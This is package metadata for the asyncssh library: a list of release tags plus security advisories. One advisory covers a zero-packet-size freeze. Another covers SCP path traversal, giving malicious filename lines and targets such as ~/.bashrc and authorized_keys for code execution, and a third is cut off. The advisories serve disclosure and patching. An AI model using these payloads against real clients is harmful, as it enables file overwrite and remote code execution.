316daed6883fd62a01930e8f","kind":"tag","published_at":"2016-02-26T06:39:20.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.5.2","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"c6df79c4f4d5d9f957e99a3c284dd96afef7efc5","kind":"tag","published_at":"2016-02-24T05:15:34.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.5.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"bf848bcef3d0e0a57260650eab9c7be4ca60d848","kind":"tag","published_at":"2016-01-28T04:11:51.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.5.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.5.0/manifests"},{"name":"v1.4.1","sha":"e26ece5073bf3c6518a4a888d73bf4122af10d0d","kind":"tag","published_at":"2016-01-24T05:32:44.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.4.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"e9d31619f8a90dbe896d79bbd9d5685d6a0c7ea0","kind":"tag","published_at":"2016-01-18T00:39:08.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.4.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.4.0/manifests"},{"name":"v1.3.2","sha":"b4bd69ad8c840cca5b5c52f8778c7f881ad2fa7d","kind":"tag","published_at":"2015-11-27T03:32:22.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.3.2","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"3535d65def2916cc8deee95d9ed8c1e08d83c29a","kind":"tag","published_at":"2015-11-06T23:08:01.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.3.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"15dc2622da9657f33748b159e8c3fe35e85d7839","kind":"tag","published_at":"2015-10-10T22:12:21.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.3.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"6bb617f77bff0334e918592ca691834af0c526b6","kind":"tag","published_at":"2015-08-27T03:25:58.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.2.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"9bd6fd479bbcf9d753f1d288fb46b50e4d5b45a5","kind":"tag","published_at":"2015-06-06T19:13:17.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.2.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"8ea2dd5ead4a027685c4bc157370a8955d9ca9a5","kind":"tag","published_at":"2015-05-25T17:02:39.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.1.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"000b517cce50c7eccac909acafe6a1478cf570dd","kind":"tag","published_at":"2015-05-23T04:12:09.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.1.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.1.0/manifests"},{"name":"v1.0.1","sha":"02f866fda2f32ee44685c618c3d21d4a1946d11b","kind":"tag","published_at":"2015-04-14T04:47:20.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.0.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"21ac87d6e420a4e7124da044ca1702c64d4e9018","kind":"tag","published_at":"2015-04-11T22:08:24.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v1.0.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v1.0.0/manifests"},{"name":"v0.9.2","sha":"be883f7496834108f014715dd1542ffa9ffe8329","kind":"tag","published_at":"2015-01-27T06:01:13.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.9.2","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"0985587d677dceb6c77de442f7db106f1d6f3243","kind":"tag","published_at":"2014-12-05T04:42:00.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.9.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"d95c0b2c1f6a46f26306f21069094be6a59e4d4e","kind":"tag","published_at":"2014-11-15T05:26:37.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.9.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.9.0/manifests"},{"name":"v0.8.4","sha":"d9d44927203efa92df404a1e9cf8140ef10f7d57","kind":"tag","published_at":"2014-11-15T05:25:27.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.8.4","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.4/manifests"},{"name":"v0.8.3","sha":"ed2176e225393ad4d2422b7f2af1eaaea5ccc38b","kind":"tag","published_at":"2014-08-16T22:12:36.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.8.3","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"f059d6671aa97cfa8157986fea2d25fdb26b9594","kind":"tag","published_at":"2014-08-16T21:42:56.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.8.2","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"7a4f3a23f35e93223dce62cf548c6f1ea6261b57","kind":"tag","published_at":"2014-08-16T04:29:31.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.8.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"2ab669e71febea8b119b2b996163bf08df4b7260","kind":"tag","published_at":"2014-07-16T03:28:39.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.8.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"051333e21710112801d5139a0380db76112e9961","kind":"tag","published_at":"2014-06-07T22:53:54.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.7.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"dfa564b7598b0e690723e68f2bb366d768fc60f5","kind":"tag","published_at":"2014-05-11T22:47:42.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.6.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.6.0/manifests"},{"name":"v0.5.0","sha":"bb99d4cb795bdf77236906bbb04149713bdd4d71","kind":"tag","published_at":"2013-10-12T04:34:41.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.5.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"7c59d0dd63fb72ce031bd832b79a86ee3bd33b6f","kind":"tag","published_at":"2013-10-12T04:34:12.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.4.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.4.0/manifests"},{"name":"v0.3.0","sha":"f3559d4ba4ec1714e38d4182798dd3d8c083c3b4","kind":"tag","published_at":"2013-10-12T04:33:51.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.3.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"48127c92ef2b03b37c3b1ada79c132a836471926","kind":"tag","published_at":"2013-09-22T05:44:06.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.2.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"d0d291656bda1ef2e14f9973a299e754812ae0d6","kind":"tag","published_at":"2013-09-22T05:19:02.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v0.1.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-10-11T19:35:53.853Z","dependent_packages_count":104,"downloads":11660040,"downloads_period":"last-month","dependent_repos_count":743,"rankings":{"downloads":0.27556769877518955,"dependent_repos_count":0.4489212794940499,"dependent_packages_count":0.22475379687338154,"stargazers_count":1.7950988037234863,"forks_count":4.05045429582681,"docker_downloads_count":0.09850079445581242,"average":1.148882778191455},"purl":"pkg:pypi/asyncssh","advisories":[{"uuid":"GSA_kwCzR0hTQS1ydzRqLXIyMmMtOWdjM84AB5MN","url":"https://github.com/advisories/GHSA-rw4j-r22c-9gc3","title":"AsyncSSH: asyncio event-loop freeze via SSH maximum packet size = 0 in SSH_MSG_CHANNEL_OPEN / OPEN_CONFIRMATION","description":"## Summary\n\nA malicious SSH server can wedge an AsyncSSH **client**, and an authenticated\nclient can wedge an AsyncSSH **server**, by sending a channel `maximum packet\nsize` of `0` in `SSH_MSG_CHANNEL_OPEN_CONFIRMATION` (server→client) or\n`SSH_MSG_CHANNEL_OPEN` (client→server). AsyncSSH stores the peer-supplied value\nverbatim with no lower-bound check; the first time channel data is written,\n`SSHChannel._flush_send_buf` enters a **synchronous infinite loop** that cannot\nbe interrupted by `asyncio.wait_for` or any timeout. The loop body has no\n`await`, so it blocks the entire asyncio event loop — for a server, one\nmalicious authenticated channel freezes **all** current and future connections.\n\nRFC 4254 §5.1 leaves receiver behavior for a peer-reported \"maximum packet\nsize = 0\" undefined, so the value must be rejected rather than stored.\n\n## Root cause\n\n`asyncssh/channel.py`:\n\n```python\n# process_open (server side)        -- line 465\nself._send_pktsize = send_pktsize    # peer value, no \u003e= 1 check\n\n# process_open_confirmation (client) -- line 528\nself._send_pktsize = send_pktsize    # peer value, no \u003e= 1 check\n\n# _flush_send_buf                    -- lines 305-320\nwhile self._send_buf and self._send_window:\n    pktsize = min(self._send_window, self._send_pktsize)  # 0 when peer sends 0\n    buf, datatype = self._send_buf[0]\n    if len(buf) \u003e pktsize:          # True for any buffered data\n        data = buf[:pktsize]        # empty (b'')\n        del buf[:pktsize]           # no-op\n    ...\n    self._send_window -= len(data)  # -= 0, unchanged\n```\n\nWith `_send_pktsize == 0`, `pktsize` is `0`, so `buf[:0]` is empty,\n`del buf[:0]` is a no-op, and `_send_window` is never decremented — the\n`while` condition is permanently true, and with no `await` in the body the\nevent loop is blocked.\n\n## Impact\n\n- **Client vector (primary):** a malicious SSH server replies to the client's\n  channel open with `maximum packet size = 0`; the client wedges on its first\n  channel write. The attacker is the server, so it needs no valid credentials.\n- **Server vector:** an authenticated client opens a channel with\n  `maximum packet size = 0`; any server-side channel write wedges the AsyncSSH\n  server's event loop, freezing **every** current and future connection. A\n  single low-privilege account can take the whole server down.\n\nBoth vectors are a single SSH message, deterministic, and cause total\navailability loss for the affected process.\n\n## Affected versions\n\n\u003c= 2.23.1 (latest release, 2026-06-06); also present on `master`\n(channel.py:465/528 unguarded). Verified end-to-end on 2.23.1.\n\n## Verification\n\nThe maintainer's proposed fix (reject `send_pktsize == 0` in `connection.py`\n`_process_channel_open` / `_process_channel_open_confirmation`) was applied to\n2.23.1 and re-tested end-to-end over TCP:\n\n- **Unpatched:** malicious server (paramiko forcing `max_packet_size=0` in\n  OPEN_CONFIRMATION) + real asyncssh client → client event loop wedges.\n- **Patched:** the guard fires inside `_process_channel_open_confirmation`, the\n  malicious value is rejected, the connection closes cleanly\n  (`ChannelOpenError: SSH connection closed`), and the client does **not** wedge.\n\nThe maintainer (Ron Frederick) independently confirmed the freeze and noted that\n**even shutting the server down does not break clients out of the loop**.\n\nReproducers available: a focused harness driving the real\n`SSHChannel._flush_send_buf` with `_send_pktsize=0`, and an end-to-end\n`malicious_server.py` (paramiko) + `client.py` (real asyncssh) pair. The\nend-to-end client repro uses `asyncio.new_event_loop()` (not `get_event_loop()`)\nfor Python 3.14 compatibility.\n\n## Suggested fix (maintainer's approach)\n\nIn `connection.py`, after each `send_pktsize = packet.get_uint32()` in\n`_process_channel_open` and `_process_channel_open_confirmation`:\n\n```python\nif send_pktsize == 0:\n    raise ProtocolError('Invalid maximum packet size')\n```\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` (6.5 Medium). An earlier draft\nquoted 7.5 High (\"100% CPU\"); the synchronous loop burns ~100% of one core's\nworth of CPU but, being single-threaded, the OS scheduler spreads it across\ncores, so the real impact is event-loop / connection freeze, not machine-wide\nCPU exhaustion.\n\n## References\n\n- RFC 4254 §5.1 (channel \"maximum packet size\"; behavior for 0 is undefined).\n- The same `maximum packet size = 0` send-loop wedge was confirmed in several\n  other independent SSH implementations (different languages/runtimes) and\n  reported to each maintainer separately.\n\n## Credits\n\nReported by zhangph (afldl), 2026-06-20.\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-17T14:53:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/ronf/asyncssh/security/advisories/GHSA-rw4j-r22c-9gc3","https://nvd.nist.gov/vuln/detail/CVE-2026-62949","https://github.com/ronf/asyncssh/commit/756cbae5350789ce9735f15f704bae9b5a3608b8","https://github.com/ronf/asyncssh/commit/9c354270c009285525e126721e8ed5fbed1f8a67","https://github.com/ronf/asyncssh/releases/tag/v2.24.0","https://github.com/advisories/GHSA-rw4j-r22c-9gc3"],"source_kind":"github","identifiers":["GHSA-rw4j-r22c-9gc3","CVE-2026-62949"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-17T15:00:10.084Z","updated_at":"2026-10-05T15:00:33.211Z","epss_percentage":0.00389,"epss_percentile":0.30505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydzRqLXIyMmMtOWdjM84AB5MN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ydzRqLXIyMmMtOWdjM84AB5MN","packages":[{"ecosystem":"pypi","package_name":"asyncssh","versions":[{"first_patched_version":"2.24.0","vulnerable_version_range":"\u003c= 2.23.1"}],"purl":"pkg:pypi/asyncssh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydzRqLXIyMmMtOWdjM84AB5MN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yd3hjLXg3cmotaGc4Zs4ABlfd","url":"https://github.com/advisories/GHSA-2wxc-x7rj-hg8f","title":"asyncssh has SCP Path Traversal to Arbitrary File Write","description":"| | |\n|---|---|\n| Product | asyncssh (all versions through 2.23.0) |\n| Related | CVE-2019-6111 (same class in OpenSSH) |\n| Fix | AsyncSSH 2.23.1 |\n\nA malicious SSH server can write arbitrary files on the asyncssh SCP client's filesystem by sending filenames containing `../` traversal sequences. The SCP receive path does not currently sanitize server-provided filenames. By chaining directory traversals via the `D` (directory) action, an attacker can escape any target directory and overwrite `~/.bashrc`, `~/.ssh/rc`, or `~/.ssh/authorized_keys`, achieving code execution. This is the same vulnerability class as CVE-2019-6111. The mitigation applied in OpenSSH does not appear to have been adopted in asyncssh.\n\n---\n\n**Steps to exploit:**\n\n**Step 1 - Normal usage:** Application calls `await asyncssh.scp((conn, 'file'), '/home/user/downloads/')`. This is the standard, documented API.\n\n**Step 2 - SCP protocol:** asyncssh opens an SSH exec channel, runs `scp -f file`. The server controls the filename field:\n\n```\nC0644 100 ../pwned.txt\\n       (simple traversal)\n\nD0755 0 ..\\n                   (traverse up, repeat as needed)\nC0644 47 .bashrc\\n             (write payload)\nE\\n\n```\n\n**Step 3 - `_parse_cd_args`** (`scp.py:134-142`) returns the filename verbatim:\n\n```python\ndef _parse_cd_args(args: bytes) -\u003e Tuple[int, int, bytes]:\n    permissions, size, name = args.split(None, 2)\n    return int(permissions, 8), int(size), name  # no sanitization\n```\n\nThe returned `name` is not passed through `basename()` and is not checked for `..` or `/` components.\n\n**Step 4 - `_recv_files`** (`scp.py:706-713`) joins the unsanitized name:\n\n```python\nnew_dstpath = posixpath.join(dstpath, name)\n```\n\nWith `dstpath=b'/home/user/downloads/subdir'` and `name=b'../pwned.txt'`, this resolves to `/home/user/downloads/pwned.txt`, outside the target.\n\n**Step 5 - File write:** `_recv_file` opens the traversed path via `self._fs.open(dstpath, 'wb')` and writes attacker-controlled content. The resolved path is not checked against the target directory boundary.\n\n**Step 6 - RCE chains:**\n\n| Target | Execution trigger | Reliability |\n|---|---|---|\n| `~/.bashrc` | Next terminal open | High |\n| `~/.profile` | Next login | High |\n| `~/.ssh/rc` | Next SSH connection (requires sshd) | High |\n| `~/.ssh/authorized_keys` | Attacker logs in with `command=` | Medium |\n\n---\n\n**Reproduction:**\n\nLink to reproduction script: [path_traversal_poc.zip](https://github.com/user-attachments/files/28160665/path_traversal_poc.zip)\n\n```bash\ndocker build -t asyncssh-scp-traversal -f Dockerfile .\ndocker run --rm asyncssh-scp-traversal\n```\n\nThe attached `poc_scp_traversal.py` starts a malicious SSH server in-process using asyncssh's own API, then downloads from it via `asyncssh.scp()`.\n\n*Expected Output:*\n\n\u003cimg width=\"1400\" height=\"815\" alt=\"image\" src=\"https://github.com/user-attachments/assets/496745e4-d11d-4ed8-bddd-d15dd13d1751\" /\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-26T15:34:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","references":["https://github.com/ronf/asyncssh/security/advisories/GHSA-2wxc-x7rj-hg8f","https://nvd.nist.gov/vuln/detail/CVE-2026-54591","https://github.com/ronf/asyncssh/commit/d730803b8e4e94c20c7580d90f94d1e05f9f58de","https://github.com/ronf/asyncssh/releases/tag/v2.23.1","https://github.com/advisories/GHSA-2wxc-x7rj-hg8f"],"source_kind":"github","identifiers":["GHSA-2wxc-x7rj-hg8f","CVE-2026-54591"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-26T16:00:10.969Z","updated_at":"2026-10-05T15:00:58.190Z","epss_percentage":0.00492,"epss_percentile":0.39646,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3hjLXg3cmotaGc4Zs4ABlfd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yd3hjLXg3cmotaGc4Zs4ABlfd","packages":[{"ecosystem":"pypi","package_name":"asyncssh","versions":[{"first_patched_version":"2.23.1","vulnerable_version_range":"\u003c= 2.23.0"}],"purl":"pkg:pypi/asyncssh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3hjLXg3cmotaGc4Zs4ABlfd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcjY3LWd2NDcteHd3aM4ABlfc","url":"https://github.com/advisories/GHSA-qr67-gv47-xwwh","title":"asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution","description":"**Incomplete fix 